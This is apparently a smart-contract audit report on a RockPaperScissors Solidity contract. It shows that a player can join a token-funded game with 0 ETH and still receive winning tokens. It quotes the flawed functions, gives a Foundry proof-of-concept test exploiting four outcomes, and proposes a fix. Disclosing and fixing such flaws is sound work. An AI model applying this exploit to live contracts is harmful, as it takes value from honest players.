Summary
After player A creates game with token (RockPaperScissors::createGameWithToken
), there are no checks preventing player B from joining using ETH. Since player A's RockPaperScissors::createGameWithToken
sets game.bet
to 0
, player B can join with 0 ETH. Hence, there is nothing at stake for player B. Additionally, player B will receive rewards in many game ending cases (detailed below), hence the fairness of the game is severely disrupted.
Vulnerability Details
Player A creates game with token (RockPaperScissors::createGameWithToken
)
This sets the state variable game.bet
to 0
Player B joins game using ETH instead of token (RockPaperScissors::joinGameWithEth
)
Since RockPaperScissors::joinGameWithEth#L160
requires msg.value == game.bet
. Hence, player B joins game using 0 ETH
RockPaperScissors::createGameWithToken
function createGameWithToken(uint256 _totalTurns, uint256 _timeoutInterval) external returns (uint256) {
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
require(_totalTurns > 0, "Must have at least one turn");
require(_totalTurns % 2 == 1, "Total turns must be odd");
require(_timeoutInterval >= 5 minutes, "Timeout must be at least 5 minutes");
winningToken.transferFrom(msg.sender, address(this), 1);
uint256 gameId = gameCounter++;
Game storage game = games[gameId];
game.playerA = msg.sender;
@> game.bet = 0;
game.timeoutInterval = _timeoutInterval;
game.creationTime = block.timestamp;
game.joinDeadline = block.timestamp + joinTimeout;
game.totalTurns = _totalTurns;
game.currentTurn = 1;
game.state = GameState.Created;
emit GameCreated(gameId, msg.sender, 0, _totalTurns);
return gameId;
}
RockPaperScissors::joinGameWithEth#L160
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
@> require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
This allows player B to enter a game with nothing-at-stake. In many of the possible game path ending states detailed below, player B still receives winningTokens
despite not putting up real value at stake, disrupting the fairness of the game.
Case 1: Player A wins
Player B receives nothing, but no issue for player B since player B did not put up any real value at stake
Case 2: Player B wins
Player B receives 2 winningToken
s essentially for free
Case 3: Tie
RockPaperScissors::_handleTie
"refunds" player B with 1 winningToken
, i.e. player B receives 1 winningToken
for free
Case 4: Player A cancels game after player B joins
RockPaperScissors::_cancelGame
"refunds" player B with 1 winningToken
, i.e. player B receives 1 winningToken
for free
PoC
Place the following code in RockPaperScissorsTest.t.sol
and run
forge test --mt testNothingAtStake
function testNothingAtStake() public {
uint256 _gameId;
uint256 playerBETHBalanceBefore;
uint256 playerBETHBalanceAfter;
uint256 playerBWinningTokenBalanceBefore;
uint256 playerBWinningTokenBalanceAfter;
playerBETHBalanceBefore = playerB.balance;
playerBWinningTokenBalanceBefore = token.balanceOf(playerB);
_gameId = playerACreateGame();
playerBExploit(_gameId);
for (uint256 i = 0; i < TOTAL_TURNS; i++){
playTurn(_gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Scissors);
}
playerBETHBalanceAfter = playerB.balance;
playerBWinningTokenBalanceAfter = token.balanceOf(playerB);
assertEq(playerBETHBalanceBefore, playerBETHBalanceAfter);
assertEq(playerBWinningTokenBalanceBefore, playerBWinningTokenBalanceAfter);
playerBETHBalanceBefore = playerB.balance;
playerBWinningTokenBalanceBefore = token.balanceOf(playerB);
_gameId = playerACreateGame();
playerBExploit(_gameId);
for (uint256 i = 0; i < TOTAL_TURNS; i++){
playTurn(_gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Paper);
}
playerBETHBalanceAfter = playerB.balance;
playerBWinningTokenBalanceAfter = token.balanceOf(playerB);
assertEq(playerBETHBalanceBefore, playerBETHBalanceAfter);
assertEq(playerBWinningTokenBalanceAfter - playerBWinningTokenBalanceBefore, 2);
playerBETHBalanceBefore = playerB.balance;
playerBWinningTokenBalanceBefore = token.balanceOf(playerB);
_gameId = playerACreateGame();
playerBExploit(_gameId);
playTurn(_gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Paper);
playTurn(_gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Scissors);
playTurn(_gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Rock);
playerBETHBalanceAfter = playerB.balance;
playerBWinningTokenBalanceAfter = token.balanceOf(playerB);
assertEq(playerBETHBalanceBefore, playerBETHBalanceAfter);
assertEq(playerBWinningTokenBalanceAfter - playerBWinningTokenBalanceBefore, 1);
playerBETHBalanceBefore = playerB.balance;
playerBWinningTokenBalanceBefore = token.balanceOf(playerB);
_gameId = playerACreateGame();
playerBExploit(_gameId);
vm.prank(playerA);
game.cancelGame(_gameId);
playerBETHBalanceAfter = playerB.balance;
playerBWinningTokenBalanceAfter = token.balanceOf(playerB);
assertEq(playerBETHBalanceBefore, playerBETHBalanceAfter);
assertEq(playerBWinningTokenBalanceAfter - playerBWinningTokenBalanceBefore, 1);
}
function playerACreateGame() public returns(uint256){
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
return gameId;
}
function playerBExploit(uint256 _gameId) public {
vm.prank(playerB);
game.joinGameWithEth {value: 0}(_gameId);
}
Impact
Impact: High, the fairness of the game is disrupted as player B receive winningToken
in many of the game path ending states despite not putting up real value at stake
Likelihood: High, it costs player B nothing to perform this attack and will still receive winningToken
in many cases. Hence, player B has high incentive to execute this attack
Severity: High
Tools Used
Manual Review
Recommendations
Prevent player B from enterring a Token game with ETH
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
+ require(game.bet != 0, "This game requires winningToken bet");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}